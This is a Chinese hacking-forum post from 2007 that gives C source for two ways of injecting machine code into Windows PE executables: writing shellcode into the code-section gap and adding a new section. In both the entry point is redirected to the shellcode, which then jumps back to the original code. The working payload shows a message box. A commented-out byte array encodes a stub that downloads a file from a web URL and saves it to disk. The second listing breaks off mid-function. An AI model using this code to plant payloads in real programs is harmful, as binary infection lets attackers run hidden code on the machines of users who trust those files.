|
晶莹剔透§烈日灼然

- 帖子
- 8
- 精华
- 0
- 积分
- 27
- 阅读权限
- 40
- 在线时间
- 42 小时
- 注册时间
- 2007-7-15
- 最后登录
- 2008-8-11
|
楼主
大 中
小 发表于 2007-10-31 18:47 只看该作者
[原创]俩种方式实现注入机器码
文章作者:小浩
信息来源:邪恶八进制信息安全团队( www.eviloctal.com)
PE插缝: Code Language : C //by 小浩 Q82602935 #include \"stdafx.h\" #include <io.h> #include <sys\stat.h> #include <fcntl.h> #include <stdio.h> typedef struct tagPeInfo { DWORD dwPeNewEntryAddress; DWORD dwPeOldEntryAddress; DWORD dwPePhysicalSize; DWORD dwPePhysicalAddress; DWORD dwPeVirtualSize; DWORD dwPeAddress; DWORD dwPegapsize; DWORD dwPeCodeoffset; DWORD dwPeEntryoffset; }PeInfo,*PPeInfo; typedef struct PE_HEADER_MAP { DWORD Signature; IMAGE_FILE_HEADER _head; IMAGE_OPTIONAL_HEADER opt_head; IMAGE_SECTION_HEADER section_header[6]; }peHeader; /*unsigned char szHexCode[] = {0x6A ,0x40 ,0xE8 ,0x15 ,0x00 ,0x00 ,0x00 ,0xCE ,0xDE ,0xCC, 0xF5 ,0xBC ,0xFE ,0xCE ,0xAA ,0xC4 ,0xE3 ,0xA3 ,0xAC ,0xBB, 0xB6 ,0xD3 ,0xAD ,0xC4 ,0xFA ,0xA3 ,0xA1 ,0x00 ,0xE8 ,0x06 , 0x00 ,0x00 ,0x00 ,0x68 ,0x65 ,0x6C ,0x6C ,0x6F ,0x00 ,0x6A , 0x00 ,0xB8 ,0x8A ,0x05 ,0xD5 ,0x77 ,0xFF ,0xD0 ,0xe9 ,0x00 , 0x00 ,0x00 ,0x00 }; */ unsigned char szHexCode[]={0x6A,0x40,0xE8,0x06,0x00,0x00,0x00,0x78, 0x34,0x68,0x00,0xEB,0x09,0xE8,0x04,0x00,0x00,0x00,0x78,0x34,0x68, 0x00,0x6A,0x00,0xB8,0x8A,0x05,0xD5,0x77,0xFF,0xD0,0xe9,0x00,0x00,0x00,0x00}; /* /*unsigned char szHexCode[]={ 0x8B,0xF4,0x68,0x30,0xF0,0x41,0x00,0xFF,0x15,0x3C, 0x41,0x42,0x00,0x3B,0xF4,0xE8,0xA4,0x00,0x00,0x00, 0x89,0x45,0xFC,0x8B,0xF4,0x68,0x1C,0xF0,0x41,0x00, 0x8B,0x45,0xFC,0x50,0xFF,0x15,0x38,0x41,0x42,0x00, 0x3B,0xF4,0xE8,0x89,0x00,0x00,0x00,0x89,0x45,0xF8, 0x6A,0x00,0x6A,0x00,0xE8,0x07,0x00,0x00,0x00,0x63, 0x3A,0x5C,0x31,0x2E,0x67,0x00,0xE8,0x22,0x00,0x00, 0x00,0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x77,0x77, 0x77,0x2E,0x62,0x61,0x69,0x64,0x75,0x2E,0x63,0x6F, 0x6D,0x2F,0x69,0x6D,0x67,0x2F,0x6C,0x6F,0x67,0x6F, 0x2E,0x67,0x69,0x66,0x00,0x6A,0x00,0xF8,0xFF,0xD0, 0xe9,0x00,0x00,0x00,0x00}; */ int GetPeInfo(void *vBasepointer,PPeInfo Peinfo) { IMAGE_DOS_HEADER *iDosHeader=(IMAGE_DOS_HEADER*)vBasepointer; if(iDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) { MessageBox(NULL,\"Unknown type of file\",\"Unknown type of file\",NULL); return 0; } peHeader *pEheader=(peHeader*)((char*)iDosHeader+iDosHeader->e_lfanew); if(pEheader->Signature!=IMAGE_NT_SIGNATURE) { MessageBox(NULL,\"Unknown type of file\",\"Unknown type of file\",NULL); return 0; } char *szRet=strstr((const char*)pEheader->section_header[0].Name,\".text\"); if(!szRet) { MessageBox(NULL,\"Unknown type of file\",\"Unknown type of file\",NULL); return 0; } Peinfo->dwPeAddress=iDosHeader->e_lfanew; Peinfo->dwPeVirtualSize=pEheader->section_header[0].Misc.VirtualSize; //真实长度 Peinfo->dwPePhysicalAddress=pEheader->section_header[0].PointerToRawData; //物理偏移 Peinfo->dwPePhysicalSize=pEheader->section_header[0].SizeOfRawData; //物理长度 Peinfo->dwPegapsize=Peinfo->dwPePhysicalSize -Peinfo->dwPeVirtualSize; //缝隙大小 Peinfo->dwPeCodeoffset=pEheader->opt_head.BaseOfCode -Peinfo->dwPePhysicalAddress; //加载到内存中的代码段与文件中的代码段的差 Peinfo->dwPeEntryoffset=pEheader->section_header[0].PointerToRawData +pEheader->section_header[0].Misc.VirtualSize; //代码写入的物理偏移 DWORD dwMods=Peinfo->dwPeEntryoffset%16; if(dwMods!=0) { Peinfo->dwPeEntryoffset+=(16-dwMods); } Peinfo->dwPeOldEntryAddress=pEheader->opt_head.AddressOfEntryPoint; //OEP Peinfo->dwPeNewEntryAddress=Peinfo->dwPeEntryoffset+Peinfo->dwPeCodeoffset; //程序新入口地址 return 1; } CString StrOfDWord(DWORD dwAddress) { unsigned char waddress[4]={0}; waddress[3]=(char)(dwAddress>>24)&0xFF; waddress[2]=(char)(dwAddress>>16)&0xFF; waddress[1]=(char)(dwAddress>>8 )&0xFF; waddress[0]=(char)(dwAddress )&0xFF; return waddress; } int WriteCodeTofile(char szFilePath[],PPeInfo Peinfo) { int nTolen=sizeof(szHexCode); DWORD dwRet; int nRet=_open(szFilePath,_O_RDWR | _O_CREAT | _O_BINARY,_S_IREAD | _S_IWRITE); if(!nRet) { MessageBox(NULL,\"_open Error!\",\"_open Error!\",NULL); return 0; } dwRet=_lseek(nRet,(long)Peinfo->dwPeAddress+40,SEEK_SET); if(dwRet==-1) { MessageBox(NULL,\"_lseek Error!\",\"_lseek Error!\",NULL); return 0; } char szWaddress[4]={0}; memcpy(szWaddress,StrOfDWord(Peinfo->dwPeNewEntryAddress),4); dwRet=_write(nRet,szWaddress,4); if(dwRet==-1) { MessageBox(NULL,\"_write Error!\",\"_write Error!\",NULL); return 0; } /* CString szMsgA; DWORD dwMessageBoxAadaddress; HINSTANCE gLibMsg=LoadLibrary(\"user32.dll\"); dwMessageBoxAadaddress=(DWORD)GetProcAddress(gLibMsg,\"MessageBoxA\"); szMsgA=StrOfDWord(dwMessageBoxAadaddress); */ CString szOepA; DWORD dwAddress; dwAddress = 0-(Peinfo->dwPeNewEntryAddress -Peinfo->dwPeOldEntryAddress+nTolen); szOepA=StrOfDWord(dwAddress); for(int i=0;i<4;i++) { szHexCode[32+i]=szOepA.GetAt(i); } dwRet=_lseek(nRet,(long)Peinfo->dwPeEntryoffset,SEEK_SET); if(dwRet==-1) { MessageBox(NULL,\"_lseek Error!\",\"_lseek Error!\",NULL); return 0; } dwRet=_write(nRet,szHexCode,nTolen); if(dwRet==-1) { MessageBox(NULL,\"_write Error!\",\"_write Error!\",NULL); return 0; } _close(nRet); return 1; } int InjectCodeToFile(char szFilePath[]) { HANDLE hFile=CreateFile(szFilePath,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,0,OPEN_EXISTING,FILE_FLAG_SEQUENTIAL_SCAN,0); if(hFile==INVALID_HANDLE_VALUE) { MessageBox(NULL,\"CreateFile Error!\",\"CreateFile Error!\",NULL); return 0; } HANDLE hMapping=CreateFileMapping(hFile,0,PAGE_READONLY | SEC_COMMIT,0,0,0); if(!hMapping) { MessageBox(NULL,\"CreateFileMapping Error!\",\"CreateFileMapping Error!\",NULL); return 0; } void *vBasepointer=MapViewOfFile(hMapping,FILE_MAP_READ,0,0,0); if(!vBasepointer) { MessageBox(NULL,\"MapViewOfFile Error!\",\"MapViewOfFile Error!\",NULL); return 0; } CloseHandle(hFile); CloseHandle(hMapping); PeInfo pEinfo; int nRet=GetPeInfo(vBasepointer,&pEinfo); if(!nRet) return 0; UnmapViewOfFile(vBasepointer); if(pEinfo.dwPegapsize<sizeof(szHexCode)) { MessageBox(NULL,\"No room to write the data!\",\"No room to write the data!\",NULL); return 0; } WriteCodeTofile(szFilePath,&pEinfo); return 1; } void main() { char szFilePath[MAX_PATH]; printf(\"Please Input File Path:\"); scanf(\"%s\",&szFilePath); char szFileBak[MAX_PATH]; lstrcpy(szFileBak,szFilePath); lstrcat(szFileBak,\".bak\"); CopyFile(szFilePath,szFileBak,FALSE); InjectCodeToFile(szFilePath); } [/code] PE添节: [code] //转载请注明 By 小浩 QQ:82602935 #include <afx.h> #include <stdio.h> #include <assert.h> unsigned char szHexCode[]={0x6A,0x40,0xE8,0x06,0x00,0x00,0x00,0x78, 0x34,0x68,0x00,0xEB,0x09,0xE8,0x04,0x00,0x00,0x00,0x78,0x34,0x68, 0x00,0x6A,0x00,0xB8,0x8A,0x05,0xD5,0x77,0xFF,0xD0,0xe9,0x00,0x00,0x00,0x00}; CString StrOfDWord(DWORD dwAddress) { unsigned char waddress[4]={0}; waddress[3]=(char)(dwAddress>>24)&0xFF; waddress[2]=(char)(dwAddress>>16)&0xFF; waddress[1]=(char)(dwAddress>>8 )&0xFF; waddress[0]=(char)(dwAddress )&0xFF; return waddress; } int Align(int size, int ALIGN_BASE) { int ret; int result; assert( 0 != ALIGN_BASE ); result = size % ALIGN_BASE; if (0 != result) { ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE; } else { ret = size; } return ret; } void main() { char szFilePath[MAX_PATH]={0}; printf(\"Please Input FilePath:\"); scanf(\"%s\",&szFilePath); char szFilaBak[MAX_PATH]={0}; lstrcpy(szFilaBak,szFilePath); lstrcat(szFilaBak,\".bak\"); int nRet=CopyFile(szFilePath,szFilaBak,FALSE); if(!nRet) { printf(\"CopyFile Error!\r\n\"); return; } FILE *pFile; pFile=fopen(szFilePath,\"rb+\"); if(pFile==NULL) { printf(\"fopen Error!\r\n\"); return; } fseek(pFile,0,SEEK_SET); IMAGE_DOS_HEADER iMageDosHeader; fread(&iMageDosHeader,sizeof(IMAGE_DOS_HEADER),1,pFile); if(iMageDosHeader.e_magic!=IMAGE_DOS_SIGNATURE) { printf(\"Unknown type of file!\r\n\"); return; } fseek(pFile,iMageDosHeader.e_lfanew,SEEK_SET); IMAGE_NT_HEADERS iMageNtHeaders; fread(&iMageNtHeaders,sizeof(IMAGE_NT_HEADERS),1,pFile); if(iMageNtHeaders.Signature!=IMAGE_NT_SIGNATURE) { printf(\"Unknown type of file!\r\n\"); return; } int nNumOfSections=iMageNtHeaders.FileHeader.NumberOfSections; printf(\"%d Segment\r\n\",nNumOfSections); int nFileAlignMent,nSectionAlignMent; nFileAlignMent=iMageNtHeaders.OptionalHeader.FileAlignment; nSectionAlignMent=iMageNtHeaders.OptionalHeader.SectionAlignment; printf(\"File Align Ment:%x\r\n\",nFileAlignMent); printf(\"Section Align Ment:%x\r\n\",nSectionAlignMent); DWORD dwOldOEP=iMageNtHeaders.OptionalHeader.AddressOfEntryPoint; printf(\"File OEP:%08x\r\n\",dwOldOEP);
|